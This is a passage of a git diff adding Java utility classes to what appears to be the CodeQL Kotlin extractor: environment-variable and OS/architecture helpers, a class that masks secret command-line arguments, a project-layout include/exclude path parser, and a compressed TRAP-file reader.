+		}
+		envVarContexts.push(Collections.unmodifiableMap(env));
+	}
+
+	public synchronized void unsetAll(Collection<String> names) {
+		if (!names.isEmpty()) {
+			Map<String, String> map = envVarContexts.pop();
+			map = new LinkedHashMap<>(map);
+			for (String name : names)
+				map.remove(name);
+			envVarContexts.push(Collections.unmodifiableMap(map));
+		}
+	}
+
+	public synchronized Map<String, String> getenv() {
+		return envVarContexts.peek();
+	}
+
+	/**
+	 * Get the value of an environment variable, or <code>null</code> if
+	 * the environment variable is not set. WARNING: not all systems may
+	 * make a difference between an empty variable or <code>null</code>,
+	 * so don't rely on that behavior.
+	 */
+	public synchronized String get(Var var) {
+		return get(var.name());
+	}
+
+	/**
+	 * Get the value of an environment variable, or <code>null</code> if
+	 * the environment variable is not set. WARNING: not all systems may
+	 * make a difference between an empty variable or <code>null</code>,
+	 * so don't rely on that behavior.
+	 */
+	public synchronized String get(String envVarName) {
+		return getenv().get(envVarName);
+	}
+
+	/**
+	 * Get the non-empty value of an environment variable, or <code>null</code>
+	 * if the environment variable is not set or set to an empty value.
+	 */
+	public synchronized String getNonEmpty(Var var) {
+		return getNonEmpty(var.name());
+	}
+
+	/**
+	 * Get the value of an environment variable, or the empty string if it is not
+	 * set.
+	 */
+	public synchronized String getPossiblyEmpty(String envVarName) {
+		String got = getenv().get(envVarName);
+		return got != null ? got : "";
+	}
+
+	/**
+	 * Get the non-empty value of an environment variable, or <code>null</code>
+	 * if the environment variable is not set or set to an empty value.
+	 */
+	public synchronized String getNonEmpty(String envVarName) {
+		String s = get(envVarName);
+		return s == null || s.isEmpty() ? null : s;
+	}
+
+	/**
+	 * Gets the value of the first environment variable among <code>envVarNames</code>
+	 * whose value is non-empty, or <code>null</code> if all variables have empty values.
+	 */
+	public synchronized String getFirstNonEmpty(String... envVarNames) {
+		for (String envVarName : envVarNames) {
+			String s = getNonEmpty(envVarName);
+			if (s != null)
+				return s;
+		}
+		return null;
+	}
+
+	/**
+	 * Gets the value of the first environment variable among <code>envVars</code>
+	 * whose value is non-empty, or <code>null</code> if all variables have empty values.
+	 */
+	public synchronized String getFirstNonEmpty(Var... envVars) {
+		String[] envVarNames = new String[envVars.length];
+		for (int i = 0; i < envVars.length; ++i)
+			envVarNames[i] = envVars[i].name();
+		return getFirstNonEmpty(envVarNames);
+	}
+
+	/**
+	 * Read a boolean from the given environment variable. If the variable
+	 * is not set, then return <code>false</code>. Otherwise, interpret the
+	 * environment variable using {@link Boolean#parseBoolean(String)}.
+	 */
+	public boolean getBoolean(Var var) {
+		return getBoolean(var.name());
+	}
+
+	/**
+	 * Read a boolean from the given environment variable name. If the variable
+	 * is not set, then return <code>false</code>. Otherwise, interpret the
+	 * environment variable using {@link Boolean#parseBoolean(String)}.
+	 */
+	public boolean getBoolean(String envVarName) {
+		return getBoolean(envVarName, false);
+	}
+
+	/**
+	 * Read a boolean from the given environment variable. If the variable
+	 * is not set, then return <code>def</code>. Otherwise, interpret the
+	 * environment variable using {@link Boolean#parseBoolean(String)}.
+	 */
+	public boolean getBoolean(Var var, boolean def) {
+		return getBoolean(var.name(), def);
+	}
+
+	/**
+	 * Read a boolean from the given environment variable name. If the variable
+	 * is not set, then return <code>def</code>. Otherwise, interpret the
+	 * environment variable using {@link Boolean#parseBoolean(String)}.
+	 */
+	public boolean getBoolean(String envVarName, boolean def) {
+		String v = get(envVarName);
+		return v == null ? def : Boolean.parseBoolean(v);
+	}
+
+	/**
+	 * Read an integer setting from the given environment variable name. If the
+	 * variable is not set, or fails to parse, return the supplied default value.
+	 */
+	public int getInt(Var var, int defaultValue) {
+		return getInt(var.name(), defaultValue);
+	}
+
+	/**
+	 * Read an integer setting from the given environment variable name. If the
+	 * variable is not set, or fails to parse, return the supplied default value.
+	 */
+	public int getInt(String envVarName, int defaultValue) {
+		String value = get(envVarName);
+		if (value == null)
+			return defaultValue;
+
+		try {
+			return Integer.parseInt(value);
+		} catch (NumberFormatException e) {
+			Exceptions.ignore(e, "We'll just use the default value.");
+			return defaultValue;
+		}
+	}
+
+	/**
+	 * Enter a new context for environment variables, with the given
+	 * new variable values. The values will override the current environment
+	 * values if they define the same variables.
+	 */
+	public synchronized void pushEnvironmentContext(Map<String, String> addedValues) {
+		Map<String, String> newValues = makeContext();
+		newValues.putAll(envVarContexts.peek());
+		newValues.putAll(addedValues);
+		envVarContexts.push(Collections.unmodifiableMap(newValues));
+	}
+
+	/**
+	 * Leave a context for environment variables that was created with
+	 * <code>pushEnvironmentContext</code>
+	 */
+	public synchronized void popEnvironmentContext() {
+		envVarContexts.pop();
+	}
+
+	/**
+	 * Add all the custom environment variables to a process builder, so that
+	 * they are passed on to the child process.
+	 */
+	public synchronized void addEnvironmentToNewProcess(ProcessBuilder builder) {
+		if (envVarContexts.size() > 1)
+			builder.environment().putAll(envVarContexts.peek());
+	}
+
+	public synchronized void addEnvironmentToNewEnv(ExpansionEnvironment env) {
+		if (envVarContexts.size() > 1)
+			env.defineVars(envVarContexts.peek());
+	}
+
+	/**
+	 * Get a string representing the OS type. This
+	 * is not guaranteed to have any particular form, and
+	 * is for displaying to users. Might return <code>null</code> if
+	 * the property is not defined by the JVM.
+	 */
+	public static String getOSName() {
+		return System.getProperty("os.name");
+	}
+
+	/**
+	 * Determine which OS is currently being run (somewhat best-effort).
+	 * Does not determine whether a program is being run under Cygwin
+	 * or not - Windows will be the OS even under Cygwin.
+	 */
+	public static OS getOS() {
+		String name = getOSName();
+		if (name == null)
+			return OS.UNKNOWN;
+		if (name.contains("Windows"))
+			return OS.WINDOWS;
+		else if (name.contains("Mac OS X"))
+			return OS.MACOS;
+		else if (name.contains("Linux"))
+			return OS.LINUX;
+		else
+			// Guess that we are probably some Unix flavour
+			return OS.UNKNOWN_UNIX;
+	}
+
+	/**
+	 * Kinds of operating systems. A notable absence is Cygwin: this just
+	 * gets reported as Windows.
+	 */
+	public static enum OS {
+		WINDOWS(false, false), LINUX(true, true), MACOS(false, true), UNKNOWN_UNIX(true, true), UNKNOWN(true, true),;
+
+		private final boolean fileSystemCaseSensitive;
+		private final boolean envVarsCaseSensitive;
+
+		private OS(boolean fileSystemCaseSensitive, boolean envVarsCaseSensitive) {
+			this.fileSystemCaseSensitive = fileSystemCaseSensitive;
+			this.envVarsCaseSensitive = envVarsCaseSensitive;
+		}
+
+		/**
+		 * Get an OS value from the short display name. Acceptable
+		 * inputs (case insensitive) are: Windows, Linux, MacOS or
+		 * Mac OS.
+		 *
+		 * @throws IllegalArgumentException if the given name does not
+		 *         correspond to an OS
+		 */
+		public static OS fromDisplayName(String name) {
+			if (name != null) {
+				name = name.toUpperCase();
+				if ("WINDOWS".equals(name))
+					return WINDOWS;
+				if ("LINUX".equals(name))
+					return LINUX;
+				if ("MACOS".equals(name.replace(" ", "")))
+					return MACOS;
+			}
+			throw new IllegalArgumentException("No OS type found with name " + name);
+		}
+
+		public boolean isFileSystemCaseSensitive() {
+			return fileSystemCaseSensitive;
+		}
+
+		public boolean isEnvironmentCaseSensitive() {
+			return envVarsCaseSensitive;
+		}
+
+		/** The short name of this operating system, in the style of {@link Var#SEMMLE_PLATFORM}. */
+		public String getShortName() {
+			switch (this) {
+			case WINDOWS:
+				return "win";
+			case LINUX:
+				return "linux";
+			case MACOS:
+				return "osx";
+			default:
+				return "unknown";
+			}
+		}
+	}
+
+	public static enum Architecture {
+		X86(true, false), X64(false, true), UNDETERMINED(false, false);
+
+		private final boolean is32Bit;
+		private final boolean is64Bit;
+
+		private Architecture(boolean is32Bit, boolean is64Bit) {
+			this.is32Bit = is32Bit;
+			this.is64Bit = is64Bit;
+		}
+
+		/** Is this definitely a 32-bit architecture? */
+		public boolean is32Bit() {
+			return is32Bit;
+		}
+
+		/** Is this definitely a 64-bit architecture? */
+		public boolean is64Bit() {
+			return is64Bit;
+		}
+	}
+
+	/**
+	 * Try to detect whether the JVM is 32-bit or 64-bit. Since there is no documented,
+	 * portable way to do this it is best effort.
+	 */
+	public Architecture tryDetermineJvmArchitecture() {
+		String value = System.getProperty("sun.arch.data.model");
+		if ("32".equals(value))
+			return Architecture.X86;
+		else if ("64".equals(value))
+			return Architecture.X64;
+
+		// Look at the max heap value - if >= 4G we *must* be in 64-bit
+		long maxHeap = Runtime.getRuntime().maxMemory();
+		if (maxHeap < Long.MAX_VALUE && maxHeap >= 4096L << 20)
+			return Architecture.X64;
+
+		// Try to get the OS arch - it *appears* to give JVM bitness
+		String osArch = System.getProperty("os.arch");
+		if ("x86".equals(osArch) || "i386".equals(osArch))
+			return Architecture.X86;
+		else if ("x86_64".equals(osArch) || "amd64".equals(osArch))
+			return Architecture.X64;
+
+		return Architecture.UNDETERMINED;
+	}
+
+	/**
+	 * Get the default amount of ram to use for new JVMs, depending on the
+	 * current architecture. If it looks like we're running on a 32-bit
+	 * machine, the result is sufficiently small to be representable.
+	 */
+	public int defaultRamMb() {
+		return getInt(
+				Var.SEMMLE_DEFAULT_HEAP_SIZE,
+				tryDetermineJvmArchitecture().is32Bit() ? DEFAULT_RAM_MB_32 : DEFAULT_RAM_MB);
+	}
+}
diff --git a/java/kotlin-extractor/src/main/java/com/semmle/util/process/LeakPrevention.java b/java/kotlin-extractor/src/main/java/com/semmle/util/process/LeakPrevention.java
new file mode 100644
index 00000000000..d27bde39430
--- /dev/null
+++ b/java/kotlin-extractor/src/main/java/com/semmle/util/process/LeakPrevention.java
@@ -0,0 +1,95 @@
+package com.semmle.util.process;
+
+import java.util.ArrayList;
+import java.util.BitSet;
+import java.util.Collections;
+import java.util.List;
+
+public abstract class LeakPrevention {
+
+	public abstract List<String> cleanUpArguments(List<String> args);
+
+	/**
+	 * What to put in place of any suppressed arguments.
+	 */
+	static final String REPLACEMENT_STRING = "*****";
+
+	/**
+	 * Hides all arguments. Will only show the command name.
+	 * e.g. "foo bar baz" is changed to "foo"
+	 */
+	public static final LeakPrevention ALL = new LeakPrevention() {
+		@Override
+		public List<String> cleanUpArguments(List<String> args) {
+			return args.isEmpty() ? args : Collections.singletonList(args.get(0));
+		}
+	};
+
+	/**
+	 * Does not hide any arguments.
+	 */
+	public static final LeakPrevention NONE = new LeakPrevention() {
+		@Override
+		public List<String> cleanUpArguments(List<String> args) {
+			return args;
+		}
+	};
+
+	/**
+	 * Hides the arguments at the given indexes.
+	 */
+	public static LeakPrevention suppressedArguments(int... args) {
+		if (args.length == 0)
+			return NONE;
+
+		final BitSet suppressed = new BitSet();
+		for (int index : args) {
+			suppressed.set(index);
+		}
+
+		return new LeakPrevention() {
+			@Override
+			public List<String> cleanUpArguments(List<String> args) {
+				List<String> result = new ArrayList<>(args.size());
+				int index = 0;
+				for (String arg : args) {
+					if (suppressed.get(index))
+						result.add(REPLACEMENT_STRING);
+					else
+						result.add(arg);
+					index++;
+				}
+				return result;
+			}
+		};
+	}
+
+	/**
+	 * Hides the given string from any arguments that it appears in.
+	 * The substring will be replaced while leaving the rest of the
+	 * argument unmodified.
+	 * <p>
+	 * There are some potential pitfalls to be aware of when using this
+	 * method.
+	 * <ul>
+	 * <li>This only suppresses exact textual matches. If the argument that
+	 * appears is only derived from the secret instead of being an exact
+	 * copy then it will not be suppressed.
+	 * <li>If the secret value appears elsewhere in a known string, then it
+	 * could leak the contents of the secret because the viewer knows what
+	 * should have been there in the known case.
+	 * </ul>
+	 */
+	public static LeakPrevention suppressSubstring(final String substringToSuppress) {
+		return new LeakPrevention() {
+			@Override
+			public List<String> cleanUpArguments(List<String> args) {
+				List<String> result = new ArrayList<>(args.size());
+				for (String arg : args) {
+					result.add(arg.replace(substringToSuppress, REPLACEMENT_STRING));
+				}
+				return result;
+			}
+		};
+	}
+}
diff --git a/java/kotlin-extractor/src/main/java/com/semmle/util/projectstructure/ProjectLayout.java b/java/kotlin-extractor/src/main/java/com/semmle/util/projectstructure/ProjectLayout.java
new file mode 100644
index 00000000000..4d414c65632
--- /dev/null
+++ b/java/kotlin-extractor/src/main/java/com/semmle/util/projectstructure/ProjectLayout.java
@@ -0,0 +1,529 @@
+package com.semmle.util.projectstructure;
+
+import java.io.File;
+import java.io.IOException;
+import java.io.StringWriter;
+import java.io.Writer;
+import java.util.ArrayList;
+import java.util.Collections;
+import java.util.Comparator;
+import java.util.LinkedHashMap;
+import java.util.List;
+import java.util.Map;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+
+import com.semmle.util.data.StringUtil;
+import com.semmle.util.exception.CatastrophicError;
+import com.semmle.util.exception.UserError;
+import com.semmle.util.io.WholeIO;
+
+/**
+ * A project-layout file optionally begins with an '@'
+ * followed by the name the project should be renamed to.
+ * Optionally, it can then be followed by a list of
+ * include/exclude patterns (see below) which are kept
+ * as untransformed paths. This is followed by one or
+ * more clauses. Each clause has the following form:
+ *
+ * #virtual-path
+ * path/to/include
+ * another/path/to/include
+ * -/path/to/include/except/this
+ *
+ * i.e. one or more paths (to include) and zero or more paths
+ * prefixed by minus-signs (to exclude).
+ */
+public class ProjectLayout
+{
+	public static final char PROJECT_NAME_PREFIX = '@';
+
+	private String project;
+
+	/**
+	 * Map from virtual path prefixes (following the '#' in the project-layout)
+	 * to the sequence of patterns that fall into that section. Declared as a
+	 * {@link LinkedHashMap} since iteration order matters -- we process blocks in
+	 * the same order as they occur in the project-layout.
+	 */
+	private final LinkedHashMap<String, Section> sections = new LinkedHashMap<String, Section>();
+
+	/**
+	 * A file name, or similar string, to use in error messages so that the
+	 * user knows what to fix.
+	 */
+	private String source;
+
+	/**
+	 * Load a project-layout file.
+	 *
+	 * @param file the project-layout to load
+	 */
+	public ProjectLayout(File file) {
+		this(StringUtil.lines(new WholeIO().strictread(file)), file.toString());
+	}
+
+	/**
+	 * Construct a project-layout object from an array of strings, each
+	 * corresponding to one line of the project-layout. This constructor
+	 * is for testing. For other uses see {@link ProjectLayout#ProjectLayout(File)}.
+	 *
+	 * @param lines the lines of the project-layout
+	 */
+	public ProjectLayout(String... lines) {
+		this(lines, null);
+	}
+
+	private ProjectLayout(String[] lines, String source) {
+		this.source = source;
+		String virtual = "";
+		Section section = new Section("");
+		sections.put("", section);
+		int num = 0;
+		for (String line : lines) {
+			num++;
+			line = line.trim();
+			if (line.isEmpty())
+				continue;
+			switch (line.charAt(0)) {
+			case PROJECT_NAME_PREFIX:
+				if (project != null)
+					throw error("Only one project name is allowed", source, num);
+				project = tail(line);
+				break;
+			case '#':
+				virtual = tail(line);
+				if (sections.containsKey(virtual))
+					throw error("Duplicate virtual path prefix " + virtual, source, num);
+				section = new Section(virtual);
+				sections.put(virtual, section);
+				break;
+			case '-':
+				section.add(new Rewrite(tail(line), source, num));
+				break;
+			default:
+				section.add(new Rewrite(line, virtual, source, num));
+			}
+		}
+	}
+
+	private static String tail(String line) {
+		return line.substring(1).trim();
+	}
+
+	/**
+	 * Get the project name, if specified by the project-layout. This
+	 * method should only be called if it is guaranteed that the
+	 * project-layout will contain a project name, and it throws
+	 * a {@link UserError} if it doesn't.
+	 * @return the project name -- guaranteed not <code>null</code>.
+	 * @throws UserError if the project-layout file did not specify a
+	 *     project name.
+	 */
+	public String projectName() {
+		if (project == null)
+			throw error("No project name is defined", source);
+		return project;
+	}
+
+	/**
+	 * Get the project name, if specified by the project-layout file.
+	 * If the file contains no renaming specification, return the
+	 * given default value.
+	 * @param defaultName The name to use if the project-layout doesn't
+	 *    specify a target project name.
+	 * @return the specified name or default value.
+	 */
+	public String projectName(String defaultName) {
+		return project == null ? defaultName : project;
+	}
+
+	/**
+	 * @return the section headings (aka virtual paths)
+	 */
+	public List<String> sections() {
+		List<String> result = new ArrayList<String>();
+		result.addAll(sections.keySet());
+		return result;
+	}
+
+	/**
+	 * Determine whether or not a particular section in this
+	 * project-layout is empty (has no include/exclude patterns).
+	 *
+	 * @param section the name of the section
+	 * @return <code>true</code> if the section is empty
+	 */
+	public boolean sectionIsEmpty(String section) {
+		if (!sections.containsKey(section))
+			throw new CatastrophicError("Section does not exist: " + section);
+		return sections.get(section).isEmpty();
+	}
+
+	/**
+	 * Reaname a section in this project-layout.
+	 *
+	 * @param oldName the old name of the section
+	 * @param newName the new name
+	 */
+	public void renameSection(String oldName, String newName) {
+		if (!sections.containsKey(oldName))
+			throw new CatastrophicError("Section does not exist: " + oldName);
+		Section section = sections.remove(oldName);
+		section.rename(newName);
+		sections.put(newName, section);
+	}
+
+	/**
+	 * Return a project-layout file for just one of the sections in this
+	 * project-layout. This is done by copying all the rules from the
+	 * section, and changing the section heading (beginning with '#')
+	 * to a project name (beginning with '@').
+	 *
+	 * @param sectionName the section to create a project-layout from
+	 * @return the text of the newly created project-layout
+	 */
+	public String subLayout(String sectionName) {
+		Section section = sections.get(sectionName);
+		if (section == null)
+			throw new CatastrophicError("Section does not exist: " + section);
+		return section.toLayout();
+	}
+
+	/**
+	 * Maps a path to its corresponding artificial path according to the
+	 * rules in this project-layout. If the path is excluded (either
+	 * explicitly, or because it is not mentioned in the project-layout)
+	 * then <code>null</code> is returned.
+	 * <p>
+	 * Paths should start with a leading forward-slash
+	 *
+	 * @param path the path to map
+	 * @return the artificial path, or <code>null</code> if the path is excluded
+	 */
+	public String artificialPath(String path) {
+		// If there is no leading slash, the path does not conform to the expected
+		// format and there is no match. (An exception is made for a completely
+		// empty string, which will get the sole prefix '/' and be mapped as usual).
+		if (path.length() > 0 && path.charAt(0) != '/')
+			return null;
+		List<String> prefixes = Section.prefixes(path);
+		for (Section section : sections.values()) {
+			Rewrite rewrite = section.match(prefixes);
+			String rewritten = null;
+			if (rewrite != null)
+				rewritten = rewrite.rewrite(path);
+			if (rewritten != null)
+				return rewritten;
+		}
+		return null;
+	}
+
+	/**
+	 * Checks whether a path should be included in the project specified by
+	 * this file. A file is included if it is mapped to some location.
+	 * <p>
+	 * Paths should start with a leading forward-slash
+	 *
+	 * @param path the path to check
+	 * @return <code>true</code> if the path should be included
+	 */
+	public boolean includeFile(String path) {
+		return artificialPath(path) != null;
+	}
+
+	public void writeTo(Writer writer) throws IOException {
+		if (project != null) {
+			writer.write(PROJECT_NAME_PREFIX);
+			writer.write(project);
+			writer.write("\n");
+		}
+		for (Section section : sections.values()) {
+			if (!section.virtual.isEmpty()) {
+				writer.write("#");
+				writer.write(section.virtual);
+				writer.write("\n");
+			}
+			section.outputRules(writer);
+		}
+	}
+
+	public void addPattern(String section, String pattern) {
+		if (pattern == null || pattern.isEmpty()) {
+			throw new IllegalArgumentException("ProjectLayout.addPattern: pattern must be a non-empty string");
+		}
+		boolean exclude = pattern.charAt(0) == '-';
+		Rewrite rewrite = exclude ?
+			new Rewrite(pattern.substring(1), null, 0) :
+			new Rewrite(pattern, section, null, 0);
+		Section s = sections.get(section);
+		if (s == null) {
+			s = new Section(section);
+			sections.put(section, s);
+		}
+		s.add(rewrite);
+	}
+
+	private static UserError error(String message, String source) {
+		return error(message, source, 0);
+	}
+
+	private static UserError error(String message, String source, int line) {
+		if (source == null)
+			return new UserError(message);
+		StringBuilder sb = new StringBuilder(message);
+		sb.append(" (");
+		if (line > 0)
+			sb.append("line ").append(line).append(" of ");
+		sb.append(source).append(")");
+		return new UserError(sb.toString());
+	}
+
+	/**
+	 * Each section corresponds to a block beginning with  '#some/path'. There
+	 * is also an initial section for any include/exclude patterns before the
+	 * first '#'.
+	 */
+	private static class Section {
+		private String virtual;
+		private final Map<String, Rewrite> simpleRewrites;
+		private final List<Rewrite> complexRewrites;
+
+		public Section(String virtual) {
+			this.virtual = virtual;
+			simpleRewrites = new LinkedHashMap<String, Rewrite>();
+			complexRewrites = new ArrayList<Rewrite>();
+		}
+
+		public String toLayout() {
+			StringWriter result = new StringWriter();
+			result.append('@').append(virtual).append('\n');
+			try {
+				outputRules(result);
+			} catch (IOException e) {
+				throw new CatastrophicError("StringWriter.append threw an IOException", e);
+			}
+			return result.toString();
+		}
+
+		private void outputRules(Writer writer) throws IOException {
+			List<Rewrite> all = new ArrayList<Rewrite>();
+			all.addAll(simpleRewrites.values());
+			all.addAll(complexRewrites);
+			Collections.sort(all, Rewrite.COMPARATOR);
+			for (Rewrite rewrite : all)
+				writer.append(rewrite.toString()).append('\n');
+		}
+
+		public void rename(String newName) {
+			virtual = newName;
+			for (Rewrite rewrite : simpleRewrites.values())
+				rewrite.virtual = newName;
+			for (Rewrite rewrite : complexRewrites)
+				rewrite.virtual = newName;
+		}
+
+		public void add(Rewrite rewrite) {
+			int index = simpleRewrites.size() + complexRewrites.size();
+			rewrite.setIndex(index);
+			if (rewrite.isSimple())
+				simpleRewrites.put(rewrite.simplePrefix(), rewrite);
+			else
+				complexRewrites.add(rewrite);
+		}
+
+		public boolean isEmpty() {
+			return simpleRewrites.isEmpty() && complexRewrites.isEmpty();
+		}
+
+		private static List<String> prefixes(String path) {
+			List<String> result = new ArrayList<String>();
+			result.add(path);
+			int i = path.length();
+			while (i > 1) {
+				i = path.lastIndexOf('/', i - 1);
+				result.add(path.substring(0, i));
+			}
+			result.add("/");
+			return result;
+		}
+
+		public Rewrite match(List<String> prefixes) {
+			Rewrite best = null;
+			for (String prefix : prefixes) {
+				Rewrite match = simpleRewrites.get(prefix);
+				if (match != null)
+					if (best == null || best.index < match.index)
+						best = match;
+			}
+			// Last matching rewrite 'wins'
+			for (int i = complexRewrites.size() - 1; i >= 0; i--) {
+				Rewrite rewrite = complexRewrites.get(i);
+				if (rewrite.matches(prefixes.get(0))) {
+					if (best == null || best.index < rewrite.index)
+						best = rewrite;
+					// no point continuing
+					break;
+				}
+			}
+			return best;
+		}
+	}
+
+	/**
+	 * Each Rewrite corresponds to a single include or exclude line in the project-layout.
+	 * For example, for following clause there would be three Rewrite objects:
+	 *
+	 * #Source
+	 * /src
+	 * /lib
+	 * -/src/tests
+	 *
+	 * For includes use the two-argument constructor; for excludes the one-argument constructor.
+	 */
+	private static class Rewrite {
+
+		private static final Comparator<Rewrite> COMPARATOR = new Comparator<Rewrite>() {
+
+			@Override
+			public int compare(Rewrite t, Rewrite o) {
+				if (t.index < o.index)
+					return -1;
+				if (t.index == o.index)
+					return 0;
+				return 1;
+			}
+		};
+
+		private int index;
+		private final String original;
+		private final Pattern pattern;
+		private String virtual;
+		private final String simple;
+
+		/**
+		 * The intention is to allow the ** wildcard when followed by a slash only. The
+		 * following should be invalid:
+		 * - a / *** / b (too many stars)
+		 * - a / ** (** at the end should be omitted)
+		 * - a / **b (illegal)
+		 * - a / b** (illegal)
+		 * - ** (the same as a singleton '/')
+		 * This regex matches ** when followed by a non-/ character, or the end of string.
+		 */
+		private static final Pattern verifyStars = Pattern.compile(".*(?:\\*\\*[^/].*|\\*\\*$|[^/]\\*\\*.*)");
+
+		public Rewrite(String exclude, String source, int line) {
+			original = '-' + exclude;
+			if (!exclude.startsWith("/"))
+				exclude = '/' + exclude;
+			if (exclude.indexOf("//") != -1)
+				throw error("Illegal '//' in exclude path", source, line);
+			if (verifyStars.matcher(exclude).matches())
+				throw error("Illegal use of '**' in exclude path", source, line);
+			if (exclude.endsWith("/"))
+				exclude = exclude.substring(0, exclude.length() - 1);
+			pattern = compilePrefix(exclude);
+			exclude = exclude.replace("//", "/");
+			if (exclude.length() > 1 && exclude.endsWith("/"))
+				exclude = exclude.substring(0, exclude.length() - 1);
+			simple = exclude.contains("*") ? null : exclude;
+		}
+
+		public void setIndex(int index) {
+			this.index = index;
+		}
+
+		public Rewrite(String include, String virtual, String source, int line) {
+			original = include;
+			if (!include.startsWith("/"))
+				include = '/' + include;
+			int doubleslash = include.indexOf("//");
+			if (doubleslash != include.lastIndexOf("//"))
+				throw error("More than one '//' in include path", source, line);
+			if (verifyStars.matcher(include).matches())
+				throw error("Illegal use of '**' in include path", source, line);
+			if (!virtual.startsWith("/"))
+				virtual = "/" + virtual;
+			if (virtual.endsWith("/"))
+				virtual = virtual.substring(0, virtual.length() - 1);
+			this.virtual = virtual;
+			this.pattern = compilePrefix(include);
+			include = include.replace("//", "/");
+			if (include.length() > 1 && include.endsWith("/"))
+				include = include.substring(0, include.length() - 1);
+			simple = include.contains("*") ? null : include;
+		}
+
+		/**
+		 * Patterns are matched by translation to regex. The following invariants
+		 * are assumed to hold:
+		 *
+		 *  - The pattern starts with a '/'.
+		 *  - There are no occurrences of '**' that is not surrounded by slashes
+		 *    (unless it is at the start of a pattern).
+		 *  - There is at most one double slash.
+		 *
+		 *  The result of the translation has precisely one capture group, which
+		 *  (after successful matching) will contain the part of the path that
+		 *  should be glued to the virtual prefix.
+		 *
+		 *  It proceeds by starting the capture group either after the double
+		 *  slash or at the start of the pattern, and then replacing '*' with
+		 *  '[^/]*' (meaning any number of non-slash characters) and '/**' with
+		 *  '(?:|/.*)' (meaning empty string or a slash followed by any number of
+		 *  characters including '/').
+		 *
+		 *   The pattern is terminated by the term '(?:/.*|$)', saying 'either the
+		 *   next character is a '/' or the string ends' -- this avoids accidental
+		 *   matching of partial directory/file names.
+		 *
+		 *   <b>IMPORTANT:</b> Run the ProjectLayoutTests when changing this!
+		 */
+		private static Pattern compilePrefix(String pattern) {
+			pattern = StringUtil.escapeStringLiteralForRegexp(pattern, "*");
+			if (pattern.contains("//"))
+				pattern = pattern.replace("//", "(/");
+			else
+				pattern = "(" + pattern;
+			if (pattern.endsWith("/"))
+				pattern = pattern.substring(0, pattern.length() - 1);
+			pattern = pattern.replace("/**", "-///-")
+							.replace("*", "[^/]*")
+							.replace("-///-", "(?:|/.*)");
+			return Pattern.compile(pattern + "(?:/.*|$))");
+		}
+
+		/** Is this rewrite simple? (i.e. contains no wildcards) */
+		public boolean isSimple() {
+			return simple != null;
+		}
+
+		/** Returns the path included/excluded by this rewrite, if it is
+		 * simple, or <code>null</code> if it is not.
+		 *
+		 * @return included/excluded path, or <code>null</code>
+		 */
+		public String simplePrefix() {
+			return simple;
+		}
+
+		public boolean matches(String path) {
+			return pattern.matcher(path).matches();
+		}
+
+		public String rewrite(String path) {
+			if (virtual == null)
+				return null;
+			Matcher matcher = pattern.matcher(path);
+			if (!matcher.matches())
+				return null;
+			return virtual + matcher.group(1);
+		}
+
+		@Override
+		public String toString() {
+			return original;
+		}
+	}
+}
diff --git a/java/kotlin-extractor/src/main/java/com/semmle/util/trap/CompressedFileInputStream.java b/java/kotlin-extractor/src/main/java/com/semmle/util/trap/CompressedFileInputStream.java
new file mode 100644
index 00000000000..0a6fc1c2915
--- /dev/null
+++ b/java/kotlin-extractor/src/main/java/com/semmle/util/trap/CompressedFileInputStream.java
@@ -0,0 +1,29 @@
+package com.semmle.util.trap;
+
+import java.io.IOException;
+import java.io.InputStream;
+import java.nio.file.Files;
+import java.nio.file.Path;
+
+import com.semmle.util.zip.MultiMemberGZIPInputStream;
+
+public class CompressedFileInputStream {
+	/**
+	 * Create an input stream for reading the uncompressed data from a (possibly) compressed file, with
+	 * the decompression method chosen based on the file extension.
+	 *
+	 * @param f The compressed file to read
+	 * @return An input stream from which you can read the file's uncompressed data.
+	 * @throws IOException From the underlying decompression input stream.
+	 */
+	public static InputStream fromFile(Path f) throws IOException {
+		InputStream fileInputStream = Files.newInputStream(f);
+		if (f.getFileName().toString().endsWith(".gz")) {
+			return new MultiMemberGZIPInputStream(fileInputStream, 8192);
+		//} else if (f.getFileName().toString().endsWith(".br")) {
+		//	return new BrotliInputStream(fileInputStream);
+		} else {
+			return fileInputStream;
+		}
+	}
+}
diff --git a/java/kotlin-extractor/src/main/java/com/semmle/util/trap/dependencies/TextFile.java b/java/kotlin-extractor/src/main/java/com/semmle/util/trap/dependencies/TextFile.java
new file mode 100644
index 00000000000..c896827ee2f
--- /dev/null
+++ b/java/kotlin-extractor/src/main/java/com/semmle/util/trap/dependencies/TextFile.java
@@ -0,0 +1,125 @@
+package com.semmle.util.trap.dependencies;
+
+import java.io.BufferedReader;
+import java.io.IOException;
+import java.io.InputStream;
+import java.nio.charset.StandardCharsets;
+import java.nio.file.Files;
+import java.nio.file.Path;
+import java.util.LinkedHashSet;
+import java.util.Set;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+
+import com.semmle.util.exception.ResourceError;
+import com.semmle.util.io.StreamUtil;
+import com.semmle.util.io.WholeIO;
+import com.semmle.util.trap.CompressedFileInputStream;
+
+public abstract class TextFile {
+	static final String TRAPS = "TRAPS";
+	private static final Pattern HEADER = Pattern.compile("([^\r\n]+?) (\\d\\.\\d)");
+
+	protected String version;
+	protected final Set<String> traps = new LinkedHashSet<String>();
+	
+	protected abstract Set<String> getSet(Path path, String label);
+	protected abstract void parseError(Path path);
+	
+	public TextFile(String version) {
+		this.version = version;
+	}
+	
+	/**
+	 * Load the current text file, checking that it matches the expected header.
+	 *
+	 * <p>
+	 * This method is somewhat performance-sensitive, as at least our C++ extractors
+	 * can generate very large input files. The format is therefore parsed by hand.
+	 * </p>
+	 *
+	 * <p>
+	 * The accepted format consists of:
+	 * <ul>
+	 * <li>Zero or more EOL comments, marked with {@code //}.
+	 * <li>Precisely one header line, of the form {@code $HEADER $VERSION}; this is
+	 * checked against {@code expected_header}.
+	 * <li>Zero or more "file lists", each beginning with the name of a set (see
+	 * {@link #getSet(File, String)}) on a line by itself, followed by file paths,
+	 * one per line.
+	 * </ul>
+	 * 
+	 * <p>
+	 * Empty lines are permitted throughout.
+	 * </p>
+	 */
+	protected void load(String expected_header, Path path) {
+		try (InputStream is = CompressedFileInputStream.fromFile(path);
+				BufferedReader lines = StreamUtil.newUTF8BufferedReader(is)) {
+			boolean commentsPermitted = true;
+			Set<String> currentSet = null;
+			for (String line = lines.readLine(); line != null; line = lines.readLine()) {
+				// Skip empty lines.
+				if (line.isEmpty())
+					continue;
+				// If comments are still permitted, skip comment lines.
+				if (commentsPermitted && line.startsWith("//"))
+					continue;
+				// If comments are still permitted, the first non-comment line is the header.
+				// In addition, we allow no further comments.
+				if (commentsPermitted) {
